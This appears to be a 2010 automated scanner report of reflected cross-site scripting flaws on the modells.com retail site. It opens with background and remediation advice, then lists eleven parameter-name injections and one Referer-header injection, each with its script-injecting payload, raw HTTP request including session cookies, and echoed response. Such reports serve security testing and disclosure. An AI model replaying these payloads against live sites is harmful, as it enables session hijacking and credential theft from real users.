Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.modells.com/affiliate/index.jsp [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/affiliate/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload feaa0--><script>alert(1)</script>e2a104f5db5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /affiliate/index.jsp?feaa0--><script>alert(1)</script>e2a104f5db5=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:51 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 64164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> ...[SNIP]... <!-- === Request Query String: feaa0--><script>alert(1)</script>e2a104f5db5=1 --> ...[SNIP]...
1.2. http://www.modells.com/cart/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/cart/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ccdca--><script>alert(1)</script>cde2e2d9423 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /cart/index.jsp?ccdca--><script>alert(1)</script>cde2e2d9423=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:52 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 78029
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.3. http://www.modells.com/corp/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/corp/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 13e66--><script>alert(1)</script>a10f75c8938 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /corp/index.jsp?13e66--><script>alert(1)</script>a10f75c8938=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:51 GMT Server: Apache/2.0.63 (Unix) Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 64132
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http: ...[SNIP]... <!-- === Request Query String: 13e66--><script>alert(1)</script>a10f75c8938=1 --> ...[SNIP]...
1.4. http://www.modells.com/giftCertificates/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/giftCertificates/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ea966--><script>alert(1)</script>9e6d354d2cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /giftCertificates/index.jsp?ea966--><script>alert(1)</script>9e6d354d2cd=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:33 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 77870
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http ...[SNIP]... <!-- === Request Query String: ea966--><script>alert(1)</script>9e6d354d2cd=1 --> ...[SNIP]...
1.5. http://www.modells.com/groupsales/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/groupsales/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 33cbd--><script>alert(1)</script>abd11a4a0ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /groupsales/index.jsp?33cbd--><script>alert(1)</script>abd11a4a0ef=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:33 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 69396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.6. http://www.modells.com/helpdesk/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/helpdesk/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 6ee19--><script>alert(1)</script>82831f71e32 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /helpdesk/index.jsp?6ee19--><script>alert(1)</script>82831f71e32=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:54 GMT Server: Apache/2.0.63 (Unix) Cache-Control: Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 99094
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml ...[SNIP]... <!-- === Request Query String: 6ee19--><script>alert(1)</script>82831f71e32=1 --> ...[SNIP]...
1.7. http://www.modells.com/history/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/history/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 30a3d--><script>alert(1)</script>78504c0179d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /history/index.jsp?30a3d--><script>alert(1)</script>78504c0179d=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:37 GMT Server: Apache/2.0.63 (Unix) Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 65753
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.8. http://www.modells.com/sitemap/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/sitemap/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload d31db--><script>alert(1)</script>31c241ade57 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /sitemap/index.jsp?d31db--><script>alert(1)</script>31c241ade57=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:57 GMT Server: Apache/2.0.63 (Unix) Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 96809
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.9. http://www.modells.com/storeLocator/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/storeLocator/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 4c096--><script>alert(1)</script>db9c7bce587 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /storeLocator/index.jsp?4c096--><script>alert(1)</script>db9c7bce587=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:38 GMT Server: Apache/2.0.63 (Unix) Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 70272
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="htt ...[SNIP]... <!-- === Request Query String: 4c096--><script>alert(1)</script>db9c7bce587=1 --> ...[SNIP]...
1.10. http://www.modells.com/teamweeks/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.modells.com
Path:
/teamweeks/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload c1004--><script>alert(1)</script>90871bc3d40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /teamweeks/index.jsp?c1004--><script>alert(1)</script>90871bc3d40=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:41 GMT Server: Apache/2.0.63 (Unix) Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 68814
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http: ...[SNIP]... <!-- === Request Query String: c1004--><script>alert(1)</script>90871bc3d40=1 --> ...[SNIP]...
1.11. https://www.modells.com/giftCertificates/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.modells.com
Path:
/giftCertificates/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload db89c--><script>alert(1)</script>4ce58d8f8f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /giftCertificates/index.jsp?db89c--><script>alert(1)</script>4ce58d8f8f3=1 HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:54 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 80309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http ...[SNIP]... <!-- === Request Query String: db89c--><script>alert(1)</script>4ce58d8f8f3=1 --> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d870b"><script>alert(1)</script>d95487ad8f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: d870b"><script>alert(1)</script>d95487ad8f
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:25 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88148
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
